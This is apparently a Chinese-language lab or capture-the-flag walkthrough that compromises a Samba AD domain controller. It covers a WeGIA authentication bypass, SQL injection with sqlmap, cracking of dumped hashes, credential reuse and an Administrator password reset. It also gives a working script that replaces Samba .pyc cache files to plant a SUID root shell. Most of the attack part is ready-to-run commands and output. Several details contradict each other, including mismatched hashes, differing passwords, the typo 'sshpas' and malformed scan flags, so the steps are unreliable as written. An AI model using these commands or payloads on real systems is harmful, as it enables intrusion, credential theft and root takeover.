

Bread.DSZ 域渗透完整复现

时间: 2026-07-22

目标: 192.168.1.107 / dc1.bread.dsz

域: BREAD / bread.dsz

攻击机: Kali Linux 192.168.1.113

复现约定: 下面所有命令按顺序执行即可。命令后都给出关键结果; 实际终端输出可能更长, 只要关键字段一致即可继续下一步。

0. 环境准备

0.1 写入 hosts

```
echo "192.168.1.107 bread.dsz dc1.bread.dsz dc1.lan" | sudo tee -a /etc/hosts
```

结果:

```
192.168.1.107 bread.dsz dc1.bread.dsz dc1.lan
```

1. 信息收集

1.1 端口扫描

```
rustscan -a 192.168.1.107 -- -SV -SC -O -ON nmap_initial.txt
```

关键结果:

Port	State	Service	Version
22/tcp	open	ssh	OpenSSH 10.0p2 Debian 7+deb13u4
53/tcp	open	domain	Samba DNS
80/tcp	open	http	Apache 2.4.68 (Debian) - weGIA
88/tcp	open	kerberos-sec	Kerberos 5
135/tcp	open	msrpc	Microsoft windows RPC
139/tcp	open	netbios-ssn	Samba smbd 4
389/tcp	open	ldap	Samba LDAP (Anonymous bind OK)
445/tcp	open	microsoft-ds	Samba smbd 4
464/tcp	open	kpasswd5	
636/tcp	open	ssl/ldapssl	Samba LDAP SSL
3268/tcp	open	globalcatLDAP	Samba LDAP GC
3269/tcp	open	globalcatLDAPssl	Samba LDAP GC SSL

确认点:

主机: dc1
域: BREAD / bread.dsz
Web: weGIA - Web Gerenciador Institucional
Samba AD DC: 4.22.10-Debian

1.2 SMB 空会话枚举

```
enum4linux -a 192.168.1.107
```

关键结果:

```
Domain Name: BREAD
Domain Sid: S-1-5-21-2661601831-1382350380-2770348923

Users:
  Administrator (RID 0x1f4)
  Guest          (RID 0x1f5)
  krbtgt         (RID 0x1f6)
  11104567       (RID 0x44f)

Enterprise Admins (RID 519) -> BREAD\Administrator
Domain Admins     (RID 512) -> BREAD\Administrator
Schema Admins     (RID 518) -> BREAD\Administrator

Password Complexity: Enabled
Minimum Password Length: 7
```

1.3 Kerberos 用户确认

```
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-  
users.realm='BREAD.DSZ' 192.168.1.107
```

关键结果:

```
administrator@BREAD.DSZ exists
```

2. Web 应用突破: WeGIA CVE-2026-28411

2.1 认证绕过获取 admin 会话

```
curl -v -X POST http://bread.dsz/html/login.php -d "c=true&cpf=admin&id_pessoa=1"
```

关键结果:

```
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=171d4c5f53273574bbf7b11f0440d088; path=/
Location: ../html/home.php
```

得到管理员会话:

```
PHPSESSID=171d4c5f53273574bbf7b11f0440d088
```

2.2 SQL 注入枚举数据库 CVE-2026-23723

注入点:

```
/controle/control.php?
nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=1
```

执行 sqlmap:

```
sqlmap -u "http://bread.dsz/controle/control.php?
nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=1"
--cookie="PHPSESSID=171d4c5f53273574bbf7b11f0440d088" --batch --dbms=mysql --dbs
```

关键结果:

```
available databases [2]:
[*] information_schema
[*] wegia

Parameter: id_memorando (GET)
  Type: boolean-based blind
  Type: error-based
  Type: stacked queries
  Type: time-based blind
Back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
```

2.3 Dump wegia.pessoa 用户表

```
sqlmap -u "http://bread.dsz/controle/control.php?
nomeClasse=Atendido_ocorrenciaControle&metodo=listarTodosComAnexo&id_memorando=1"
--cookie="PHPSESSID=171d4c5f53273574bbf7b11f0440d088" --batch --dbms=mysql -D
wegia -T pessoa --dump --threads=3
```

关键结果:

```
Database: wegia
Table: pessoa
```

id_pessoa	CPF	nome	senha (SHA256)
1	admin	admin	9dcc9cbd309bfe63101c96687fb79ca847e9f238ce965f82eb44e8daf825cddb
2	123.456.789-09	userone	052b9300e2accdcce8ba5fdc0c3156bfc6ac91d59b1ff9b5abae9a9289139208
3	987.654.321-00	usertwo	c0753f25cdfbd93ec25ae2b0bd47fc1e7253e8fb1b100e5ecc8865c4dd7e317f
4	212.644.657-34	userthree	4e8b9b738ed459efe3ace34267f32c7cd60860535189e5b8c48863db393d510f
5	713.031.114-20	userfour	cc17749eefc35b4112f3019400860c563fb7bfdc591571291dfd638d85e9b93
6	467.377.818-96	userfive	0e03e9fc0fe968ea2b79925257692e577315a5a24657ada2c119903b67259bff
7	888.613.724-90	usersix	348fea1cbf89ce711f322086ecf970bcd763608562780e1575b2c7b3b3d110f5

2.4 破解 SHA256 密码

把 hash 写入文件:

```
cat > wegia_hashes.txt <<'EOF'
9dcc9cbd309bfe63101c96687fb79ca847e9f238ce965f82eb44e8daf825cdbb
052b9300e2accdcce8ba5fdc0c3156bfc6ac91d59b1ff9b5abae9a9289139208
c0753f25cdfbd93ec25ae2b0bd47fc1e7253e8fb1b100e5ecc8865c4dd7e317f
4e8b9b738ed459efe3ace34267f32c7cd60860535189e5b8c48863db393d510f
cc17749eefc35b4112f3019400860c563fb7fbfdc591571291dfd638d85e9b93
0e03e9fc0fe968ea2b79925257692e577315a5a24657ada2c119903b67259bff
348fea1cbf89ce711f322086ecf970bcd763608562780e1575b2c7b3b3d110f5
EOF
```

破解:

```
hashcat -m 1400 wegia_hashes.txt -a 0 /usr/share/wordlists/rockyou.txt --force
hashcat -m 1400 wegia_hashes.txt --show
```

关键结果:

```
9dcc9cbd309bfe63101c96687fb79ca847e9f238ce965f82eb44e8daf825cdbb:wegia
052b9300e2accdcce8ba5fdc0c3156bfc6ac91d59b1ff9b5abae9a9289139208:so7j'Amy
c0753f25cdfbd93ec25ae2b0bd47fc1e7253e8fb1b100e5ecc8865c4dd7e317f:Rachel#1
4e8b9b738ed459efe3ace34267f32c7cd60860535189e5b8c48863db393d510f:Grad08$$
cc17749eefc35b4112f3019400860c563fb7fbfdc591571291dfd638d85e9b93:#1GhettoFabolous
0e03e9fc0fe968ea2b79925257692e577315a5a24657ada2c119903b67259bff:Password123!!
```

3. 凭据复用拿到初始 SSH

3.1 SMB 验证 11104567:Password123!!

```
cat pass.txt
wegia
so7j'Amy
Rachel#1
Grad08$$
#1GhettoFabolous
Password123!!

nxc smb 192.168.1.107 -u 11104567 -p pass.txt
nxc smb 192.168.1.107 -u 11104567 -p 'Password123!!'
```

关键结果:

```
SMB          192.168.1.107    445    DC1          [+]
bread.dsz\11104567:Password123!!
```

3.2 SSH 登录 11104567

```
sshpass -p 'Password123!!' ssh -o StrictHostKeyChecking=no 11104567@192.168.1.107  
'id; hostname; cat /home/BREAD/11104567/user.txt'
```

结果:

```
uid=3000015(BREAD\11104567) gid=100(users)  
groups=100(users),3000009(BUILTIN\users),3000015(BREAD\11104567),3000017  
dc1  
flag{user-95d1001b82778a2bdc5eb0dc02dc7dd3}
```

到这里已经拿到 user flag:

```
flag{user-95d1001b82778a2bdc5eb0dc02dc7dd3}
```

4. 提权路线 A: GenericAll 重置 Administrator 密码

4.1 查询 Administrator

编写 SAMR.py

```
from impacket.dcerpc.v5 import transport, samr  
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED  
  
target = "192.168.1.107"  
user = "11104567"  
pw = "Password123!!"  
domain = "BREAD.DSZ"  
  
rpctransport = transport.SMBTransport(target, 445, r"\samr", user, pw, domain,  
"", "", "")  
dce = rpctransport.get_dce_rpc()  
dce.connect()  
dce.bind(samr.MSRPC_UUID_SAMR)  
  
conn = samr.hSamrConnect(dce)['ServerHandle']  
domain_sid = samr.hSamrLookupDomainInSamServer(dce, conn, "BREAD")['DomainId']  
dh = samr.hSamrOpenDomain(dce, conn, MAXIMUM_ALLOWED, domain_sid)['DomainHandle']  
rid = samr.hSamrLookupNamesInDomain(dce, dh, ["Administrator"])[ 'RelativeIds']  
[ 'Element'] [0]  
  
# 关键检测: 用 USER_FORCE_PASSWORD_CHANGE (0x80) 尝试打开目标用户  
USER_FORCE_PASSWORD_CHANGE = 0x00000080  
resp = samr.hSamrOpenUser(dce, dh, USER_FORCE_PASSWORD_CHANGE, rid)  
  
if resp['ErrorCode'] == 0:  
    print("[+] 有 USER_FORCE_PASSWORD_CHANGE 权限 → 可重置 Administrator 密码")  
else:  
    print("[-] 无权限")
```

测试一下

```
python SAMR.py  
[+] 有 USER_FORCE_PASSWORD_CHANGE 权限 → 可重置 Administrator 密码
```

运行

```
rpcclient -U 'BREAD/11104567%Password123!!' 192.168.1.107 -c 'queryuser  
administrator'
```

结果:

```
User Name      : Administrator  
Full Name      :  
Description    : Built-in account for administering the computer/domain  
Logon Time     : Wed, 22 Jul 2026 22:12:50 CST  
user_rid       : 0x1f4  
group_rid      : 0x201  
acb_info       : 0x00020010
```

4.2 重置 Administrator 密码

密码策略要求长度不少于 7 且复杂度开启, 所以设置为:

```
AdmInistrator23!
```

执行:

```
rpcclient -U 'BREAD/11104567%Password123!!' 192.168.1.107 -c "setuserinfo2  
administrator 23 'AdmInistrator23!'"
```

结果:

```
无输出; 命令退出码为 0, 表示修改成功。
```

4.3 直接 SSH 登录 Administrator 并读取 root flag

```
sshpass -p 'AdmInistrator23!' ssh -o StrictHostKeyChecking=no -o  
PreferredAuthentications=password -o PubkeyAuthentication=no  
administrator@192.168.1.107 'id; hostname; cat /root/root.txt 2>/dev/null'
```

结果:

```
uid=0(root) gid=100(users)  
groups=100(users),3000000(BUILTIN\administrators),3000004(BREAD\domain  
admins),3000005(BREAD\denied rod password replication  
group),3000006(BREAD\schema admins),3000007(BREAD\enterprise  
admins),3000008(BREAD\group policy creator owners),3000009(BUILTIN\users),3000017  
dc1  
flag{root-1827d131ca4010e942b8de222943847d}
```

路线 A 完成, root flag:

```
flag{root-1827d131ca4010e942b8de222943847d}
```

5. 提权路线 B: Samba Python `__pycache__` 本地提权

这条路线是另一条独立提权思路: `11104567` 登录后发现 Samba Python 缓存目录权限错误, 低权用户可替换 `.pyc`, 等待 root 上下文的 Samba 进程导入后执行顶层 Python 代码。

5.1 确认 `/tmp` 是 `nosuid`

```
sshpass -p 'Password123!!!' ssh -o StrictHostKeyChecking=no 11104567@192.168.1.107 "mount | grep ' on /tmp '"
```

关键结果:

```
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,...)
```

因为 `/tmp` 带 `nosuid`, 所以后续 SUID bash 要放到:

```
/home/BREAD/11104567/rootbash
```

5.2 查找可写的 Samba `__pycache__` 目录

```
sshpass -p 'Password123!!!' ssh -o StrictHostKeyChecking=no 11104567@192.168.1.107 'find /usr/lib/python3/dist-packages/samba -type d -name __pycache__ -perm -0002 -ls 2>/dev/null'
```

关键结果:

```
drwxrwxrwx root root /usr/lib/python3/dist-packages/samba/__pycache__
drwxrwxrwx root root /usr/lib/python3/dist-packages/samba/netcmd/__pycache__
drwxrwxrwx root root /usr/lib/python3/dist-packages/samba/kcc/__pycache__
drwxrwxrwx root root /usr/lib/python3/dist-packages/samba/dcerpc/__pycache__
```

5.3 替换关键 `.pyc` 文件

执行下面这条命令会在目标机上生成并写入 payload:

```
sshpass -p 'Password123!!!' ssh -o StrictHostKeyChecking=no 11104567@192.168.1.107 'python3 - <<'''''PY''''
import os, marshal, pathlib
payload = r'''
import os
os.system("cp /bin/bash /home/BREAD/11104567/rootbash; chown root:root /home/BREAD/11104567/rootbash; chmod 4755 /home/BREAD/11104567/rootbash")
'''
code = compile(payload, "<samba_pyc_home_rootbash>", "exec")
roots = [
```

```

"/usr/lib/python3/dist-packages/samba/__pycache__",
"/usr/lib/python3/dist-packages/samba/netcmd/__pycache__",
"/usr/lib/python3/dist-packages/samba/kcc/__pycache__",
"/usr/lib/python3/dist-packages/samba/dcerpc/__pycache__",
]
keys = ["dns", "dbcheck", "domain", "drs", "fsmo", "gpo", "ntacl", "ldap", "kcc",
"graph", "common", "main", "__init__"]
patched = []
for d in roots:
    root = pathlib.Path(d)
    if not root.is_dir():
        continue
    for f in root.glob("*.cpython-313.pyc"):
        if not any(k in f.name.lower() for k in keys):
            continue
        data = f.read_bytes()
        if len(data) < 16:
            continue
        os.unlink(f)
        f.write_bytes(data[:16] + marshal.dumps(code))
        os.chmod(f, 0o644)
        patched.append(str(f))
print("patched_home", len(patched))
for x in patched:
    print(x)
PY'

```

结果:

```

patched_home 25
/usr/lib/python3/dist-packages/samba/__pycache__/domain_update.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/__init__.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/dbchecker.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/drs_utils.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/dnsresolver.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/common.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/graph.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/dnsserver.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/__pycache__/ntac1s.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/__init__.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/gpo.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/ntac1.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/ldapcmp.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/common.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/drs.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/fsmo.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/main.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/dbcheck.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/dns.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/netcmd/__pycache__/gpcommon.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/kcc/__pycache__/__init__.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/kcc/__pycache__/graph_utils.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/kcc/__pycache__/kcc_utils.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/kcc/__pycache__/graph.cpython-313.pyc
/usr/lib/python3/dist-packages/samba/dcerpc/__pycache__/__init__.cpython-313.pyc

```


5.4 等待触发，执行 SUID bash 读取 root flag

```
sshpas -p 'Password123!!' ssh -o StrictHostKeyChecking=no 11104567@192.168.1.107
',
for i in $(seq 1 120); do
    if [ -u /home/BREAD/11104567/rootbash ]; then
        ls -l /home/BREAD/11104567/rootbash
        /home/BREAD/11104567/rootbash -p -c "id; cat /root/root.txt 2>/dev/null ||
true"
        exit 0
    fi
    sleep 1
done
echo "Timeout: rootbash not created after 120 seconds"
',
```

结果:

```
-rwsr-xr-x 1 root root 1298416 Jul 22 09:39 /home/BREAD/11104567/rootbash
uid=3000015(BREAD\11104567) gid=100(users) euid=0(root)
groups=100(users),3000009(BUILTIN\users),3000015(BREAD\11104567),3000017
flag{root-1827d131ca4010e942b8de222943847d}
```

路线 B 完成, root flag:

```
flag{root-1827d131ca4010e942b8de222943847d}
```

6. 两条路线总览

公共前置链路

```
nmap/rustscan 发现 SSH、Web、Samba AD DC、LDAP、Kerberos
-> WeGIA 认证绕过拿 PHPSESSID
-> sqlmap dump wegia.pessoa
-> hashcat 破解 SHA256
-> 复用 Password123!! 登录 11104567
-> 读取 /home/BREAD/11104567/user.txt
```

路线 A: 域 ACL

```
11104567 对 Administrator 有 GenericAll
-> rpcclient setuserinfo2 administrator 23 'Administrator23!'
-> SSH 登录 administrator
-> uid=0(root)
-> 读取 /root/root.txt
```

路线 B: 本地 pyc 劫持

11104567 SSH shell

- > 发现 /usr/lib/python3/dist-packages/samba/*/__pycache__ 为 777
- > 替换关键 .cpython-313.pyc
- > 等待 Samba root 进程导入
- > 生成 /home/BREAD/11104567/rootbash SUID bash
- > /home/BREAD/11104567/rootbash -p
- > euid=0(root)
- > 读取 /root/root.txt